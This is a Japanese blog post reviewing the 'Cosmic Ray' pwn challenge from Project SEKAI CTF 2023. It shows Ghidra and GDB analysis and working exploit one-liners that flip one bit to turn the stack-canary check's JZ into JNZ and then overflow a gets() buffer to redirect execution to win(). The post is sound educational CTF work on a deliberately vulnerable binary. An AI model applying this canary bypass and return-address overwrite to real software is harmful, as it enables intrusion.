Project SEKAI CTF 2023復習:Cosmic Ray (Pwn)

Cosmic Ray

Project SEKAI CTF 2023のPwnジャンルにおける難易度1の問題だった。 コンテスト中に解こうとして少しチャレンジしたが解けなかった。

あんまりよくわかってないので、「入門 セキュリティコンテスト」を見ながら復習。

問題概要

与えられたバイナリファイルを実行すると、

$ ./cosmicray
Welcome to my revolutionary new cosmic ray machine!
Give me any address in memory and I'll send a cosmic ray through it:
0x0

|0|1|2|3|4|5|6|7|
-----------------
|0|0|0|0|0|0|0|0|

Enter a bit position to flip (0-7):
0

Bit succesfully flipped! New value is -128

Please write a review of your experience today:
good

メモリアドレスを入力→bitのindexを入力→(指定したアドレスの指定したbitが反転する)→感想を入力→(終了)

となる。

解法

まず、感想を入力する際に長い文字列を入力すると異常終了することに気づく。

Please write a review of your experience today:
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
*** stack smashing detected ***: terminated
Aborted

しかし、このとき"stack smashing detected"と表示されているので何らかの方法でスタックバッファオーバーフローを検知して強制終了していると考えられる。

Ghidraで逆コンパイルしてみると、関数名の情報が残っているので簡単にmain関数が見つかる

undefined8 main(void)
{
  long in_FS_OFFSET;
  undefined8 local_40;
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdout,(char *)0x0);
  puts("Welcome to my revolutionary new cosmic ray machine!");
  puts("Give me any address in memory and I\'ll send a cosmic ray through it:");
  __isoc99_scanf("0x%lx",&local_40);
  getchar();
  cosmic_ray(local_40);
  puts("Please write a review of your experience today:");
  gets(local_38);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

これを見ると、40バイト以上の感想を入力すると強制終了されるらしい。具体的には、in_FS_OFFSET+40の値が変わっていると弾かれることがわかる(カナリアチェック)

さらに詳しく調べると内部にwinという名前の関数があり、"./flag.txt"の内容を表示するようなので、これを呼び出すことができればFlagを取得できそうだ。 バッファオーバーフローで関数の戻りアドレスを書き換えてwin関数に飛ばせばクリアできそうだが、カナリアチェックを突破する必要がある。

今回は元々のプログラムの機能として任意のbitを反転させることができるため、これを使って突破することを考える。

カナリアチェックの際にJZ命令(0x74)が使われているが、これをJNZ命令(0x75)に書き換えることで「カナリアの値が変わっていなければ強制終了」という挙動に変更できると考えられる。 ここで、実行ファイルにchecksecを適用すると、PIEが適用されていないことがわかる。つまり、命令や関数のメモリアドレスは常に固定となる。

$ checksec --file=cosmicray
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   54) Symbols       No    0               4               cosmicray

Ghidraを使うとJZ命令のアドレスがわかるので、このアドレスの7bit目を反転させると予定通り短い感想で強制終了されるようになった。

Welcome to my revolutionary new cosmic ray machine!
Give me any address in memory and I'll send a cosmic ray through it:
0x4016f4

|0|1|2|3|4|5|6|7|
-----------------
|0|1|1|1|0|1|0|0|

Enter a bit position to flip (0-7):
7

Bit succesfully flipped! New value is 117

Please write a review of your experience today:
test
*** stack smashing detected ***: terminated
Aborted

これでカナリアチェックを突破できたので、感想の内容で関数のリターンアドレスを書き換えていく。 そのためには

  • 感想が記録されるメモリアドレスの先頭
  • main関数のリターンアドレスが記録されているメモリアドレスの先頭
  • win関数のアドレス

を知る必要がある。

感想が記録されるメモリアドレスの先頭は、Teyvat Travel Guideの要領でアセンブリを見て、GDBレジスタを参照することで調べることができた(0x7fffffffe070)

関数のリターンアドレスは、GDBでmain関数のRET命令で止めたときのスタックの一番上の値。

0x7fffffffe0a8がmain関数のリターンアドレス

更に、xコマンドでwin関数のメモリアドレスとその値を表示することができる。

gdb-peda$ x win
0x4012d6 <win>: 0xfa1e0ff3

0x7fffffffe070から0x7fffffffe0a8までは56バイトあるので、適当な56文字に0x4012d6を接続した文字列を感想として入力すればmain関数のリターンアドレスをwin関数のアドレスで上書きすることができる。

よって

$ (python2 -c 'print "0x4016f4";print "7";print "a"*56 + "\xd6\x12\x40\x00\x00\x00\x00\x00"') | ./cosmicray
Welcome to my revolutionary new cosmic ray machine!
Give me any address in memory and I'll send a cosmic ray through it:

|0|1|2|3|4|5|6|7|
-----------------
|0|1|1|1|0|1|0|0|

Enter a bit position to flip (0-7):

Bit succesfully flipped! New value is 117

Please write a review of your experience today:
TAKEO{You_got_the_flag!}
Segmentation fault

となり、flag.txtの内容を表示することができた(コンテストサーバーは閉じてしまっているので、ローカルに適当なflagを用意した)

余談

アドレスを書き換えるためには感想として任意のバイト列を入力できる必要がある。 bashでは難しいのでPythonを使ったのだが、いろいろ調べてみてもこういう場合には大抵Python2が使われているようで、実際にPython3ではなぜかうまく行かなかった。

$ python2 -c 'print "a"*56 + "\xd6\x12\x40\x00\x00\x00\x00\x00"'
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�@
$ python3 -c 'print("a"*56 + "\xd6\x12\x40\x00\x00\x00\x00\x00")'
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÖ@

print関数で同じ文字列を出力してみても、実際に表示されたものは異なっていた。 この仕組みを知っている人がいたら教えてください。

追記

Twitterで回答を募集したところ、kaitoさんに教えていただきました。

$ (python3 -c 'import sys;sys.stdout.buffer.write(b"0x4016f4\n" + b"7\n" + b"a"*56 + b"\xd6\x12\x40\x00\x00\x00\x00\x00\n");') | ./cosmicray
Welcome to my revolutionary new cosmic ray machine!
Give me any address in memory and I'll send a cosmic ray through it:

|0|1|2|3|4|5|6|7|
-----------------
|0|1|1|1|0|1|0|0|

Enter a bit position to flip (0-7):

Bit succesfully flipped! New value is 117

Please write a review of your experience today:
TAKEO{You_got_the_flag!}
Segmentation fault

Python3でバイト列を出力するためにはsys.stdout.buffer.write()を使う必要があるそうです。 importを書く必要があることや、関数の短さなどを考慮するとPwn界隈で未だにPython2が使われている理由もわかった気がしました。